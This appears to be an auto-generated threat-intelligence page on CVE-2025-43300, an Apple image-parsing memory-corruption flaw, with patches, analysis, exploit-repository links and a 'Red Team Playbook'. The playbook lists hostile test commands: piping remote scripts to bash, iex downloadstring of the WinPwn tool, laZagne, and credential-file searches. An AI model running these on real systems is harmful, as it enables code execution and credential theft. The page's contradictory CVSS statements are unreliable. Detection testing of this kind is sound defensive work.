CVE-2025-43300
Overview
This vulnerability is an out-of-bounds write occurring due to insufficient bounds checking during the processing of image files. The flaw resides in the image parsing component of Apple iOS and iPadOS, where improper validation of input data allows memory to be overwritten beyond allocated buffers. This memory corruption arises specifically when handling crafted malicious image files, affecting multiple Apple operating systems including iOS, iPadOS, and macOS variants.
Vulnerability Description
An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 15.8.5 and iPadOS 15.8.5, iOS 16.7.12 and iPadOS 16.7.12, iOS 18.6.2 and iPadOS 18.6.2, iPadOS 17.7.10, macOS Sequoia 15.6.1, macOS Sonoma 14.7.8, macOS Ventura 13.7.8. Processing a malicious image file may result in memory corruption. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals.
Impact
An attacker can exploit this vulnerability by delivering a malicious image file that triggers memory corruption, potentially enabling arbitrary code execution or other unauthorized actions on the affected device. Exploitation requires user interaction to process the image, typically through viewing or receiving the file. This vulnerability has been reportedly exploited in targeted, sophisticated attacks against specific individuals, indicating its use in high-value espionage or surveillance scenarios. The low CVSS score reflects limited attack complexity but does not preclude significant impact in targeted contexts.
Solution
Apple has released security updates addressing this vulnerability in iOS 15.8.5, 16.7.12, 18.6.2; iPadOS 15.8.5, 16.7.12, 17.7.10, 18.6.2; and macOS Sequoia 15.6.1, Sonoma 14.7.8, Ventura 13.7.8. Users and administrators should apply these updates promptly to mitigate the risk. Detailed patch instructions and version information are available in Apple’s official security advisories at https://support.apple.com/en-us/124925, https://support.apple.com/en-us/124926, and https://support.apple.com/en-us/124927.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from an out-of-bounds write issue that can lead to memory corruption when processing malicious image files on various Apple operating systems, including iOS, iPadOS, and macOS. This type of vulnerability typically occurs when a program writes data outside the allocated memory buffer, which can corrupt adjacent memory, leading to unpredictable behavior or system crashes. The flaw was addressed through improved bounds checking, a critical measure to ensure that data writes are confined within the designated memory areas. However, the nature of the vulnerability suggests that it could be exploited to execute arbitrary code, potentially allowing attackers to gain unauthorized access or control over affected devices.
Exploitation of this vulnerability can occur through several attack vectors, primarily involving the delivery of specially crafted image files. Users may encounter these malicious files through various means, such as email attachments, downloads from compromised websites, or even through social engineering tactics that trick users into opening harmful content. Once the malicious image is processed by the affected operating system, the out-of-bounds write can be triggered, leading to memory corruption. Given the sophistication of modern cyber threats, attackers may target specific individuals or organizations, employing advanced techniques to bypass security measures and deliver their payloads effectively.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on Apple devices for their operations. A successful exploitation could lead to data breaches, loss of sensitive information, or unauthorized access to corporate networks. The potential for memory corruption also raises concerns about system stability, which could disrupt business operations and lead to financial losses. Furthermore, if exploited in targeted attacks, the implications could extend beyond individual organizations, affecting the broader ecosystem of users and businesses that depend on Apple products. The high CVSS score indicates a critical severity level, underscoring the urgency for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular updates and patches from Apple should be prioritized, as they contain essential fixes that address known vulnerabilities. Additionally, employing robust endpoint protection solutions can help identify and block malicious files before they reach users. User education is also paramount; training employees to recognize phishing attempts and suspicious files can significantly reduce the likelihood of exploitation. Monitoring systems for unusual behavior or unauthorized access attempts can further enhance detection capabilities, allowing organizations to respond swiftly to potential threats.
In conclusion, the out-of-bounds write vulnerability presents a serious risk to users of Apple operating systems, with the potential for significant real-world consequences. The sophistication of exploitation methods necessitates a proactive approach to security, emphasizing the importance of timely updates, user awareness, and comprehensive detection strategies. By adopting these measures, organizations can better safeguard their assets and mitigate the risks associated with this critical vulnerability.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-43300, with telemetry indicating a doubling in observed exploitation attempts. This increase is accompanied by a modest rise in the Exploit Prediction Scoring System (EPSS) score, reflecting a growing likelihood of exploitation in the wild. Concurrently, new proof-of-concept exploits have surfaced across multiple public repositories, broadening the availability of attack tools and potentially lowering the barrier for adversaries to weaponize this vulnerability. While ransomware involvement remains unconfirmed, the enhanced exploit accessibility and increased detection frequency elevate the threat landscape, underscoring the vulnerability’s criticality. For defenders, this shift signals a heightened risk of targeted and opportunistic attacks leveraging this out-of-bounds write flaw, necessitating intensified monitoring and rapid incident response capabilities. Overall, the evolving exploitation dynamics warrant an upward revision of the threat level, emphasizing the urgency for vigilance despite existing mitigations.
Update 2 — July 09, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-43300, reflecting a growing operational use of this out-of-bounds write vulnerability. Our telemetry indicates a discernible uptick in exploit attempts targeting both iOS and iPadOS devices, coinciding with the continued availability of multiple new proof-of-concept exploits on public repositories. This development underscores an expanding attacker capability to weaponize the flaw beyond the initially reported highly sophisticated targeted campaigns. Although the EPSS score remains stable, the qualitative increase in exploitation signals a broader threat actor interest and potential shift toward more opportunistic attacks. For defenders, this heightened activity translates into an elevated risk environment where rapid detection and response are increasingly critical. Consequently, the threat level associated with CVE-2025-43300 should be reassessed upward to reflect its transition from a niche targeted exploit to a more pervasive and accessible attack vector.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (8)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
hunters-sec/CVE-2025-43300
This is POC for IOS 0click CVE-2025-43300
|
hunters-sec | 114 | 29 | 2025-08-24 | View |
|
7amzahard/CVE-2025-43300
CVE-2025-43300: iOS/macOS DNG Image Processing Memory Corruption
|
7amzahard | 10 | 5 | 2025-12-02 | View |
|
PwnToday/CVE-2025-43300
CVE-2025-43300: iOS/macOS DNG Image Processing Memory Corruption
|
PwnToday | 6 | 0 | 2025-09-09 | View |
|
ticofookfook/CVE-2025-43300
|
ticofookfook | 3 | 0 | 2025-09-30 | View |
|
Dark-life944/CVE-2025
This is POC for IOS 0click CVE-2025-43300
|
Dark-life944 | 1 | 0 | 2025-09-30 | View |
|
Shakai-Dev/CVE-2025-43300-exp
The exploit code for CVE-2025-43300.
|
Shakai-Dev | 0 | 0 | 2025-08-22 | View |
|
AR-DEV-1/CVE-2025-43300-exp
The exploit code for CVE-2025-43300.
|
AR-DEV-1 | 0 | 0 | 2025-08-22 | View |
|
veniversum/cve-2025-43300
|
veniversum | 0 | 0 | 2025-09-18 | View |
Threat Feed
9 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.